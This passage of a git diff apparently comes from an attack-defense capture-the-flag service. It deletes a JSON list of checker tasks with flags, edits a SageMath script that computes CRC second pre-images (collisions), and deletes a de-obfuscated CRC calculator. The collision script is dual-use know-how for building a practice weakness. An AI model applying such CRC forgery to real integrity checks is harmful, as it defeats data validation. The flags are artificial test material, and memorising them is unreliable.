- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r55_t0_i1",
- "taskId": 55,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 56,
- "flag": "\ud83e\udd7apQGXSMZtUZV8qNTRSYvKzWxcx8kchMwqhsbXuBe9e9snEVGz\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 56,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r56_t0_i1",
- "taskId": 56,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 56,
- "flag": "\ud83e\udd7apQGXSMZtUZV8qNTRSYvKzWxcx8kchMwqhsbXuBe9e9snEVGz\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 56,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r56_t0_i1",
- "taskId": 56,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "87f3341c-763e-4860-819e-93e25776023e",
- "currentRoundId": 56,
- "flag": null,
- "flagHash": "c2f911434222cebb2c63e796fc1c82365f271b5faea4c4660773e00ef3d23fd0",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 56,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r56_t0_i0",
- "taskId": 56,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "87f3341c-763e-4860-819e-93e25776023e",
- "currentRoundId": 56,
- "flag": null,
- "flagHash": "c2f911434222cebb2c63e796fc1c82365f271b5faea4c4660773e00ef3d23fd0",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 56,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r56_t0_i0",
- "taskId": 56,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 56,
- "flag": "\ud83e\udd7apn2ez+Y38qHXbOA1zdJOwi+eLFdx16WtxN+Nnp0Fg07n4lMq\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 56,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r56_t0_i1",
- "taskId": 56,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 56,
- "flag": "\ud83e\udd7apn2ez+Y38qHXbOA1zdJOwi+eLFdx16WtxN+Nnp0Fg07n4lMq\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 56,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r56_t0_i1",
- "taskId": 56,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "44f6c645-7927-4d7a-ba36-3f3d0eb4fb35",
- "currentRoundId": 56,
- "flag": null,
- "flagHash": "847c2b17335100470a8b7674cd2ba7de0de52d7660fcd26651a87b041a6650a6",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 56,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r56_t0_i1",
- "taskId": 56,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "44f6c645-7927-4d7a-ba36-3f3d0eb4fb35",
- "currentRoundId": 56,
- "flag": null,
- "flagHash": "847c2b17335100470a8b7674cd2ba7de0de52d7660fcd26651a87b041a6650a6",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 56,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r56_t0_i1",
- "taskId": 56,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 57,
- "flag": null,
- "flagHash": "07928d851493887a5ab8f107db8c1c76670463062c168a54dfe143127555e5a6",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 57,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r57_t0_i2",
- "taskId": 57,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 2
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 57,
- "flag": null,
- "flagHash": "07928d851493887a5ab8f107db8c1c76670463062c168a54dfe143127555e5a6",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 57,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r57_t0_i2",
- "taskId": 57,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 2
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 58,
- "flag": null,
- "flagHash": "1770cfc869e295ff40f79ac7dc7fd33fab8273015d9bb6bec074807fad58a928",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 58,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r58_t0_i2",
- "taskId": 58,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 2
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 58,
- "flag": null,
- "flagHash": "1770cfc869e295ff40f79ac7dc7fd33fab8273015d9bb6bec074807fad58a928",
- "flagRegex": "\ud83e\udd7a[A-Za-z0-9+\\/=]{48}\ud83e\udd7a\ud83e\udd7a",
- "method": "exploit",
- "relatedRoundId": 58,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r58_t0_i2",
- "taskId": 58,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 2
- }
-]
diff --git a/documentation/crc/crc.sage b/documentation/crc.sage
similarity index 79%
rename from documentation/crc/crc.sage
rename to documentation/crc.sage
index 82f2464..b0eba05 100644
--- a/documentation/crc/crc.sage
+++ b/documentation/crc.sage
@@ -2,35 +2,29 @@ import random
import json
from collections import namedtuple
-def str_to_long(s, reverse_bytes=False):
+def str_to_long(s):
ret = 0
for c in s:
ret = (ret << 8)
c = ord(c)
- if reverse_bytes:
- c = int('{:08b}'.format(c)[::-1], 2)
ret = ret ^^ c
return ret
-def long_to_str(l, reverse_bytes=False):
+def long_to_str(l):
s = []
while (l > 0):
n = l&0xff
- if reverse_bytes:
- n = int('{:08b}'.format(n)[::-1], 2)
s.append(n)
l = l >> 8
s.reverse()
return bytes(s)
-def alphanumeric_to_long(s, reverse_bytes=False):
+def alphanumeric_to_long(s):
ret = 0
for c in s:
ret = (ret << 8)
v = ord(c)
- if reverse_bytes:
- v = int('{:08b}'.format(v)[::-1], 2)
if v == 0b110000:
ret = ret ^^ 0b1100000
elif v >= 0b110010 and v <= 0b110101:
@@ -39,12 +33,10 @@ def alphanumeric_to_long(s, reverse_bytes=False):
ret = ret ^^ v
return ret
-def long_to_alphanumeric(l, reverse_bytes=False):
+def long_to_alphanumeric(l):
s = []
while (l > 0):
c = l&0xff
- if reverse_bytes:
- c = int('{:08b}'.format(c)[::-1], 2)
if c == 0b1100000:
s.append(0b110000)
elif c >= 0b1111011 and c <= 0b01111111:
@@ -69,14 +61,12 @@ def crcN(p, s):
c = c << 1
return creg
-def gen_crc_table(p, reverse_in=False):
+def gen_crc_table(p):
degree = len(bin(p)) - 3
table = []
mask = 2**degree-1
for i in range(256):
c = i
- if reverse_in:
- c = int('{:08b}'.format(i)[::-1], 2)
c = c << degree - 8
m = 1 << (degree - 1)
for _ in range(8):
@@ -85,8 +75,6 @@ def gen_crc_table(p, reverse_in=False):
else:
c = c << 1
c = c & mask
- if reverse_in:
- c = int(bin(c^^(1 << degree))[2::][::-1][:-1], 2)
table.append(c)
return table
@@ -181,9 +169,9 @@ def get_random_delta(ctx, k):
__c = d.univariate_polynomial().coefficients(sparse=False)
return ''.join(map(str, __c[ctx.p.degree():][::-1]))
-def calculate_pre_image(p, s, reverse_in=False):
- checker_file = open('checker_data.json', 'w')
- service_file = open('service_data.json', 'w')
+def calculate_pre_image(p, s):
+ # checker_file = open('checker_data.json', 'w')
+ # service_file = open('service_data.json', 'w')
checker_data = {
'polynom': hex(p)[2:]
}
@@ -194,7 +182,7 @@ def calculate_pre_image(p, s, reverse_in=False):
print("Input :", s)
# print("CRCN(Input) :", hex(crcN(p, s)))
ctx = prepare(p, len(s))
- mask = [0,0,0,0,0,1,1,1] if reverse_in else [1,1,1,0,0,0,0,0]
+ mask = [1,1,1,0,0,0,0,0]
k = calculate_kernel(ctx, mask)
print("#Span :", len(k))
print("#Kernel :", 2**(len(k)))
@@ -205,22 +193,24 @@ def calculate_pre_image(p, s, reverse_in=False):
checker_data['deltas'] = deltas
while True:
d = int(get_random_delta(ctx, k), 2)
- s2 = str_to_long(s, reverse_in) ^^ d
- s2raw = long_to_str(s2, reverse_in)
- s2an = long_to_alphanumeric(s2, reverse_in)
+ s2 = str_to_long(s) ^^ d
+ s2raw = long_to_str(s2)
+ s2an = long_to_alphanumeric(s2)
print("raw pre-img :", s2raw)
print("2nd pre-img :", s2an)
- if s2an[0].isalpha():
+ if s2an[0].isalpha() or s2an[0].isdigit():
break
- table = gen_crc_table(p, reverse_in)
+ table = gen_crc_table(p)
table = list(map(lambda x: hex(x)[2:], table))
checker_data['table'] = table
service_data['table'] = table
- checker_file.write(json.dumps(checker_data, indent=2))
- service_file.write(json.dumps(service_data, indent=2))
- checker_file.close()
- service_file.close()
+ # checker_file.write(json.dumps(checker_data, indent=2))
+ # service_file.write(json.dumps(service_data, indent=2))
+ # checker_file.close()
+ # service_file.close()
print()
# calculate_pre_image(get_random_prime_polynom(251), "a"*60)
calculate_pre_image(0x8561cc4ee956c6503c5da0ffacb20feabb3eb142e7645e7ff1a2067fd8e1cfb, "a"*60)
+# calculate_pre_image(0xD5, "a"*2)
+# calculate_pre_image(0x14, "s")
diff --git a/documentation/crc/crc.js b/documentation/crc/crc.js
deleted file mode 100644
index 777618b..0000000
--- a/documentation/crc/crc.js
+++ /dev/null
@@ -1,1041 +0,0 @@
-// Taken and de-obfuscated from: https://crccalc.com/
-
-class BitOperator {
- static ['GetBool'](_0x41979d, _0x38b4b6) {
- return ((_0x41979d >> _0x38b4b6) & 1) == 1
- }
- static ['SetBool'](_0x4e2b65, _0x2be194, _0x2894cd) {
- if (_0x2894cd) return _0x4e2b65 | (1 << _0x2be194)
- else {
- let _0x1ae3ab = ~(1 << _0x2be194)
- return _0x4e2b65 & _0x1ae3ab
- }
- }
- static ['GetBit'](_0x5c8853, _0x1df56b) {
- return (_0x5c8853 >> _0x1df56b) & 1
- }
- static ['GetBits'](_0x4a68ac, _0x3409c2, _0x321235) {
- let _0x25ef16 = (1 << _0x321235) - 1
- return (_0x4a68ac >> _0x3409c2) & _0x25ef16
- }
- static ['SetBits'](_0xfc39, _0x184e47, _0x52cb68, _0x5b46ca) {
- let _0xb431ae = ~(((1 << _0x52cb68) - 1) << _0x184e47),
- _0x23bed6 =
- (_0xfc39 & _0xb431ae) | ((_0x5b46ca << _0x184e47) & ~_0xb431ae)
- return _0x23bed6
- }
-}
-function Stuff() {
- const _0x45cfa5 = HTMLHelper.GetTextAreaElement('textAreaInputData')
- let _0x7b3b54 = _0x45cfa5.value
- const _0xcabe19 = HTMLHelper.GetTextAreaElement('cmbbxDelimiter')
- let _0xbd1105 = _0xcabe19.value
- const _0x2ba284 = hexToByte(_0xbd1105),
- _0x3f1dd9 = hexToBytes(_0x7b3b54),
- _0x56a016 = document.getElementById('lblSourceDataHex')
- _0x56a016.innerHTML = bytesToHexP(new Uint8Array(_0x3f1dd9), 8, 8)
- const _0x5bc806 = ByteStuffing.Stuff(_0x3f1dd9, _0x2ba284),
- _0x5f020c = document.getElementById('lblProcessedDataHex')
- _0x5f020c.innerHTML = bytesToHexP(new Uint8Array(_0x5bc806), 8, 8)
-}
-function Unstuff() {
- const _0x3ccab1 = HTMLHelper.GetTextAreaElement('textAreaInputData')
- let _0xcf6aed = _0x3ccab1.value
- const _0x4f5bd6 = hexToBytes(_0xcf6aed),
- _0x4aeacc = document.getElementById('lblSourceDataHex')
- _0x4aeacc.innerHTML = bytesToHexP(new Uint8Array(_0x4f5bd6), 8, 8)
- const _0x1435b1 = ByteStuffing.Unstuff(_0x4f5bd6),
- _0x312e59 = document.getElementById('lblProcessedDataHex')
- _0x312e59.innerHTML = bytesToHexP(new Uint8Array(_0x1435b1), 8, 8)
-}
-function InitUi() {
- const _0x5eec0f = HTMLHelper.GetSelectElement('cmbbxDelimiter')
- for (let _0x45432f = 0; _0x45432f < 256; _0x45432f++) {
- let _0x1b9a6d = new Option()
- _0x1b9a6d.text = byteToHex(_0x45432f)
- _0x5eec0f.options.add(_0x1b9a6d)
- }
-}
-class ByteStuffing {
- static ['Stuff'](_0x1944b2, _0x10f8a3) {
- let _0x3584fc = new Array(_0x1944b2.length + 2),
- _0x275c98 = 0
- for (let _0xa24cfa = 0; _0xa24cfa < _0x1944b2.length; _0xa24cfa++) {
- const _0xb74c82 = _0x1944b2[_0xa24cfa]
- _0xb74c82 == _0x10f8a3
- ? ((_0x3584fc[_0x275c98] = _0xa24cfa + 1 - _0x275c98),
- (_0x275c98 = _0xa24cfa + 1))
- : (_0x3584fc[_0xa24cfa + 1] = _0xb74c82)
- }
- return (
- (_0x3584fc[_0x275c98] = _0x3584fc.length - _0x275c98 - 1),
- (_0x3584fc[_0x3584fc.length - 1] = _0x10f8a3),
- _0x3584fc
- )
- }
- static ['Unstuff'](_0x21b810) {
- let _0x3f689c = new Array(_0x21b810.length - 2),
- _0xc4e535 = _0x21b810[0]
- const _0x4f49e5 = _0x21b810[_0x21b810.length - 1]
- for (let _0x1e012f = 1; _0x1e012f < _0x21b810.length - 1; _0x1e012f++) {
- _0x1e012f == _0xc4e535
- ? ((_0x3f689c[_0x1e012f - 1] = _0x4f49e5),
- (_0xc4e535 += _0x21b810[_0x1e012f]))
- : (_0x3f689c[_0x1e012f - 1] = _0x21b810[_0x1e012f])
- }
- return _0x3f689c
- }
-}
-class Crc {
- constructor(params) {
- this.table = new Array(256)
- this.params = params
- this.mask = ((1 << this.params.hashSize) >>> 0) - 1
- this.mask = 4294967295 >>> (32 - params.hashSize)
- this.createTable()
- }
- ['calcCrc'](b) {
- let init = this.params.init
- if (this.params.refOut) {
- init = this.reverseBits(init)
- }
- if (this.params.refOut) {
- for (let i = 0; i < b.length; i++) {
- init = (this.table[(init ^ b[i]) & 255] ^ (init >>> 8)) >>> 0
- init = (init & this.mask) >>> 0
- }
- } else {
- let hashSz = this.params.hashSize - 8
- hashSz = hashSz < 0 ? 0 : hashSz
- for (let i = 0; i < b.length; i++) {
- init = this.table[((init >>> hashSz) ^ b[i]) & 255] ^ ((init << 8) >>> 0)
- init = (init & this.mask) >>> 0
- }
- }
- return (
- (init = (init ^ this.params.xorOut) >>> 0),
- (init & this.mask) >>> 0
- )
- }
- ['createTable']() {
- for (let i = 0; i < this.table.length; i++) {
- this.table[i] = this.createTableEntry(i)
- }
- }
- ['createTableEntry'](_idx) {
- let idx = _idx,
- hashSize = this.params.hashSize
- if (this.params.refIn) {
- idx = this.reverseBits(idx)
- } else {
- if (this.params.hashSize > 8) {
- idx = (idx << (hashSize - 8)) >>> 0
- }
- }
- let x31 = (1 << (hashSize - 1)) >>> 0
- for (let i = 0; i < 8; i++) {
- if ((idx & x31) != 0) {
- idx = (((idx << 1) >>> 0) ^ this.params.poly) >>> 0
- } else {
- idx = (idx << 1) >>> 0
- }
- }
- if (this.params.refIn) {
- idx = this.reverseBits(idx)
- }
- return (idx & this.mask) >>> 0
- }
- ['reverseBits'](value) {
- let hashSz = this.params.hashSize, ret = 0
- for (let i = hashSz - 1; i >= 0; i--) {
- ret = (ret | ((((value & 1) >>> 0) << i) >>> 0)) >>> 0
- value >>>= 1
- }
- return ret
- }
-}
-class CrcParams {
- constructor(
- _0x2a2109,
- _0x2cad11,
- _0x2441b3,
- _0x26f53b,
- _0x1f47de,
- _0x4b9a63,
- _0x46f3e8,
- _0x48512e
- ) {
- this.name = _0x2a2109
- this.hashSize = _0x2cad11
- this.poly = _0x2441b3
- this.init = _0x26f53b
- this.refIn = _0x1f47de
- this.refOut = _0x4b9a63
- this.xorOut = _0x46f3e8
- this.check = _0x48512e
- }
- static ['GetAllCrc']() {
- let _0x1dbfaf = this.Crc8.concat(this.Crc16, this.Crc32, this.Crc64)
- return _0x1dbfaf
- }
-}
-CrcParams.Crc8 = [
- new CrcParams('CRC-8', 8, 7, 0, false, false, 0, 244),
- new CrcParams('CRC-8/CDMA2000', 8, 155, 255, false, false, 0, 218),
- new CrcParams('CRC-8/DARC', 8, 57, 0, true, true, 0, 21),
- new CrcParams('CRC-8/DVB-S2', 8, 213, 0, false, false, 0, 188),
- new CrcParams('CRC-8/EBU', 8, 29, 255, true, true, 0, 151),
- new CrcParams('CRC-8/I-CODE', 8, 29, 253, false, false, 0, 126),
- new CrcParams('CRC-8/ITU', 8, 7, 0, false, false, 85, 161),
- new CrcParams('CRC-8/MAXIM', 8, 49, 0, true, true, 0, 161),
- new CrcParams('CRC-8/ROHC', 8, 7, 255, true, true, 0, 208),
- new CrcParams('CRC-8/WCDMA', 8, 155, 0, true, true, 0, 37),
-]
-CrcParams.Crc16 = [
- new CrcParams('CRC-16/ARC', 16, 32773, 0, true, true, 0, 47933),
- new CrcParams('CRC-16/AUG-CCITT', 16, 4129, 7439, false, false, 0, 58828),
- new CrcParams('CRC-16/BUYPASS', 16, 32773, 0, false, false, 0, 65256),
- new CrcParams('CRC-16/CCITT-FALSE', 16, 4129, 65535, false, false, 0, 10673),
- new CrcParams('CRC-16/CDMA2000', 16, 51303, 65535, false, false, 0, 19462),
- new CrcParams('CRC-16/DDS-110', 16, 32773, 32781, false, false, 0, 40655),
- new CrcParams('CRC-16/DECT-R', 16, 1417, 0, false, false, 1, 126),
- new CrcParams('CRC-16/DECT-X', 16, 1417, 0, false, false, 0, 127),
- new CrcParams('CRC-16/DNP', 16, 15717, 0, true, true, 65535, 60034),
- new CrcParams('CRC-16/EN-13757', 16, 15717, 0, false, false, 65535, 49847),
- new CrcParams('CRC-16/GENIBUS', 16, 4129, 65535, false, false, 65535, 54862),
- new CrcParams('CRC-16/KERMIT', 16, 4129, 0, true, true, 0, 8585),
- new CrcParams('CRC-16/MAXIM', 16, 32773, 0, true, true, 65535, 17602),
- new CrcParams('CRC-16/MCRF4XX', 16, 4129, 65535, true, true, 0, 28561),
- new CrcParams('CRC-16/MODBUS', 16, 32773, 65535, true, true, 0, 19255),
- new CrcParams('CRC-16/RIELLO', 16, 4129, 45738, true, true, 0, 25552),
- new CrcParams('CRC-16/T10-DIF', 16, 35767, 0, false, false, 0, 53467),
- new CrcParams('CRC-16/TELEDISK', 16, 41111, 0, false, false, 0, 4019),
- new CrcParams('CRC-16/TMS37157', 16, 4129, 35308, true, true, 0, 9905),
- new CrcParams('CRC-16/USB', 16, 32773, 65535, true, true, 65535, 46280),
- new CrcParams('CRC-16/X-25', 16, 4129, 65535, true, true, 65535, 36974),
- new CrcParams('CRC-16/XMODEM', 16, 4129, 0, false, false, 0, 12739),
- new CrcParams('CRC-A', 16, 4129, 50886, true, true, 0, 48901),
-]
-CrcParams.Crc32 = [
- new CrcParams(
- 'CRC-32',
- 32,
- 79764919,
- 4294967295,
- true,
- true,
- 4294967295,
- 3421780262
- ),
- new CrcParams(
- 'CRC-32/BZIP2',
- 32,
- 79764919,
- 4294967295,
- false,
- false,
- 4294967295,
- 4236843288
- ),
- new CrcParams(
- 'CRC-32/JAMCRC',
- 32,
- 79764919,
- 4294967295,
- true,
- true,
- 0,
- 873187033
- ),
- new CrcParams(
- 'CRC-32/MPEG-2',
- 32,
- 79764919,
- 4294967295,
- false,
- false,
- 0,
- 58124007
- ),
- new CrcParams(
- 'CRC-32/POSIX',
- 32,
- 79764919,
- 0,
- false,
- false,
- 4294967295,
- 1985902208
- ),
- new CrcParams(
- 'CRC-32/SATA',
- 32,
- 79764919,
- 1379029042,
- false,
- false,
- 0,
- 3480399848
- ),
- new CrcParams('CRC-32/XFER', 32, 175, 0, false, false, 0, 3171672888),
- new CrcParams(
- 'CRC-32C',
- 32,
- 517762881,
- 4294967295,
- true,
- true,
- 4294967295,
- 3808858755
- ),
- new CrcParams(
- 'CRC-32D',
- 32,
- 2821953579,
- 4294967295,
- true,
- true,
- 4294967295,
- 2268157302
- ),
- new CrcParams('CRC-32Q', 32, 2168537515, 0, false, false, 0, 806403967),
-]
-CrcParams.Crc64 = [
- new CrcParams('СRC-3/ROHC', 3, 3, 7, true, true, 0, 6),
- new CrcParams('СRC-4/ITU', 4, 3, 0, true, true, 0, 7),
- new CrcParams('СRC-5/EPC', 5, 9, 9, false, false, 0, 0),
- new CrcParams('СRC-5/ITU', 5, 21, 0, true, true, 0, 7),
- new CrcParams('СRC-5/USB', 5, 5, 31, true, true, 31, 25),
- new CrcParams('СRC-6/CDMA2000-A', 6, 39, 63, false, false, 0, 13),
- new CrcParams('СRC-6/CDMA2000-B', 6, 7, 63, false, false, 0, 59),
- new CrcParams('СRC-6/DARC', 6, 25, 0, true, true, 0, 38),
- new CrcParams('СRC-6/ITU', 6, 3, 0, true, true, 0, 6),
- new CrcParams('СRC-7', 7, 9, 0, false, false, 0, 117),
- new CrcParams('СRC-7/ROHC', 7, 79, 127, true, true, 0, 83),
- new CrcParams('СRC-10', 10, 563, 0, false, false, 0, 409),
- new CrcParams('СRC-10/CDMA2000', 10, 985, 1023, false, false, 0, 563),
- new CrcParams('СRC-11', 11, 901, 26, false, false, 0, 1443),
- new CrcParams('СRC-12/3GPP', 12, 2063, 0, false, true, 0, 3503),
- new CrcParams('СRC-12/CDMA2000', 12, 3859, 4095, false, false, 0, 3405),
- new CrcParams('СRC-12/DECT', 12, 2063, 0, false, false, 0, 3931),
- new CrcParams('СRC-13/BBC', 13, 7413, 0, false, false, 0, 1274),
- new CrcParams('СRC-14/DARC', 14, 2053, 0, true, true, 0, 2093),
- new CrcParams('СRC-15', 15, 17817, 0, false, false, 0, 1438),
- new CrcParams('СRC-15/MPT1327', 15, 26645, 0, false, false, 1, 9574),
- new CrcParams('СRC-24', 24, 8801531, 11994318, false, false, 0, 2215682),
- new CrcParams(
- 'СRC-24/FLEXRAY-A',
- 24,
- 6122955,
- 16702650,
- false,
- false,
- 0,
- 7961021
- ),
- new CrcParams(
- 'СRC-24/FLEXRAY-B',
- 24,
- 6122955,
- 11259375,
- false,
- false,
- 0,
- 2040760
- ),
- new CrcParams(
- 'СRC-31/PHILIPS',
- 31,
- 79764919,
- 2147483647,
- false,
- false,
- 2147483647,
- 216654956
- ),
- new CrcParams(
- 'СRC-40/GSM',
- 40,
- 75628553,
- 0,
- false,
- false,
- 1099511627775,
- 910907393606
- ),
-]
-class CrcResults {
- constructor(_0x16eaa6, _0x573223, _0x1a4113) {
- this.params = _0x16eaa6
- this.result = _0x573223
- this.lookupTable = _0x1a4113
- }
-}
-const _crcDict = {}
-let _crcInitialized = false
-function calcCrcForHexString(_0xc70893, _0x5c9196, _0x2bd74f, _0x2725c9) {
- const _0x570654 = new Uint8Array(hexToBytes(_0x2bd74f))
- calcCrc(_0xc70893, _0x570654, _0x5c9196, _0x2725c9)
-}
-function ProcessFile(_0x1b93b, _0x4bd118, _0x308c34) {
- calcCrc(_0x1b93b, new Uint8Array(_0x4bd118), false, _0x308c34)
-}
-function calcCrcForAsciiString(_0x5161ad, _0x40ef0f, _0x440215, _0x39262b) {
- const _0x46856a = new Array(0)
- for (let _0x22b6cd = 0; _0x22b6cd < _0x440215.length; _0x22b6cd++) {
- let _0x369ba8 = _0x440215.charCodeAt(_0x22b6cd)
- do {
- _0x46856a.push(_0x369ba8 % 256)
- _0x369ba8 = _0x369ba8 >>> 8
- } while (_0x369ba8 > 0)
- }
- calcCrc(_0x5161ad, new Uint8Array(_0x46856a), _0x40ef0f, _0x39262b)
-}
-function initCrcs() {
- if (_crcInitialized) {
- return
- }
- _crcInitialized = true
- const _0x28175e = CrcParams.GetAllCrc()
- _0x28175e.forEach((_0x538d1e) => {
- _crcDict[_0x538d1e.name.toUpperCase()] = new Crc(_0x538d1e)
- })
-}
-function getCrc(_0x3aef71, _0x359d62 = false) {
- const _0x4a60bc = _0x3aef71.toUpperCase().split(' ')
- initCrcs()
- const _0x325d69 = new Array()
- for (let _0x47887f in _crcDict) {
- for (let _0x5e7bdb of _0x4a60bc) {
- if (_0x359d62) {
- if (_0x47887f == _0x5e7bdb) {
- return _0x325d69.push(_crcDict[_0x47887f]), _0x325d69
- }
- } else {
- _0x47887f.indexOf(_0x5e7bdb) != -1 &&
- _0x325d69.push(_crcDict[_0x47887f])
- }
- }
- }
- return _0x325d69
-}
-function calcCrc(_0x3f43c2, _0x5bedbc, _0x4b342e, _0x37c8ae) {
- let _0x171a09 = getCrc(_0x3f43c2, _0x4b342e),
- _0x250752 = new Array(0)
- _0x171a09.forEach((_0xb1056) => {
- let _0x23aef6 = _0xb1056.calcCrc(_0x5bedbc)
- _0x250752.push(new CrcResults(_0xb1056.params, _0x23aef6, _0xb1056.table))
- })
- formTable(_0x250752, _0x37c8ae, _0x5bedbc)
- const _0x44d6f8 = HTMLHelper.GetInputElement('chkbxShowHex'),
- _0x15de0d = HTMLHelper.GetDivElement('sourceData')
- _0x44d6f8.checked
- ? ((_0x15de0d.style.display = 'block'), showHex(_0x5bedbc))
- : ((_0x15de0d.style.display = 'none'), showHex(new Uint8Array(0)))
-}
-const defaultData = [49, 50, 51, 52, 53, 54, 55, 56, 57]
-function formTable(_0x2b43e3, _0x4b6186, _0x1f03d9) {
- let _0x11b9f3 = false
- if (_0x1f03d9.length == defaultData.length) {
- _0x11b9f3 = true
- for (let _0x375c4f = 0; _0x375c4f < _0x1f03d9.length; _0x375c4f++) {
- if (_0x1f03d9[_0x375c4f] != defaultData[_0x375c4f]) {
- _0x11b9f3 = false
- break
- }
- }
- }
- const _0x305fe6 = 'crcTable',
- _0xda33e = HTMLHelper.GetTableElement(_0x305fe6)
- while (_0xda33e.rows.length > 1) {
- _0xda33e.deleteRow(1)
- }
- let _0x42c372,
- _0x34be63 = '0x'
- switch (_0x4b6186) {
- case Outtypes.hex:
- ; (_0x42c372 = 16), (_0x34be63 = '0x')
- break
- case Outtypes.dec:
- ; (_0x42c372 = 10), (_0x34be63 = '')
- break
- case Outtypes.oct:
- ; (_0x42c372 = 8), (_0x34be63 = '0o')
- break
- case Outtypes.bin:
- ; (_0x42c372 = 2), (_0x34be63 = '0b')
- break
- }
- const _0x2014fa = HTMLHelper.GetTableRowElement('template')
- for (let _0x3d7f9f = 0; _0x3d7f9f < _0x2b43e3.length; _0x3d7f9f++) {
- const _0x6d76a3 = _0x2b43e3[_0x3d7f9f],
- _0x22e3db = _0x6d76a3.params.hashSize
- let _0x3de7a6
- switch (_0x4b6186) {
- case Outtypes.hex:
- _0x3de7a6 = _0x22e3db / 4
- break
- case Outtypes.dec:
- _0x3de7a6 = 0
- break
- case Outtypes.oct:
- _0x3de7a6 = Math.floor(_0x22e3db / 3) + (_0x22e3db % 3 > 0 ? 1 : 0)
- break
- case Outtypes.bin:
- _0x3de7a6 = _0x22e3db
- break
- }
- const _0x15f8e7 = _0xda33e.insertRow(-1)
- _0x15f8e7.innerHTML = _0x2014fa.innerHTML
- const _0x1d6ebf = _0x6d76a3.params.name,
- _0x3e0a8f = document.createElement('div')
- _0x2b43e3.length > 1 &&
- ((_0x3e0a8f.onclick = function() {
- getcrc(_0x1d6ebf)
- }),
- (_0x3e0a8f.style.cursor = 'pointer'),
- (_0x3e0a8f.style.color = '#003ba7'),
- (_0x3e0a8f.style.textDecoration = 'underline'))
- _0x3e0a8f.textContent = _0x1d6ebf
- _0x15f8e7.cells[0].appendChild(_0x3e0a8f)
- function _0xba7c8b(_0x9f0122) {
- return _0xeff753(_0x9f0122.toString(_0x42c372), _0x3de7a6).toUpperCase()
- }
- const _0x38212f = _0x6d76a3.result,
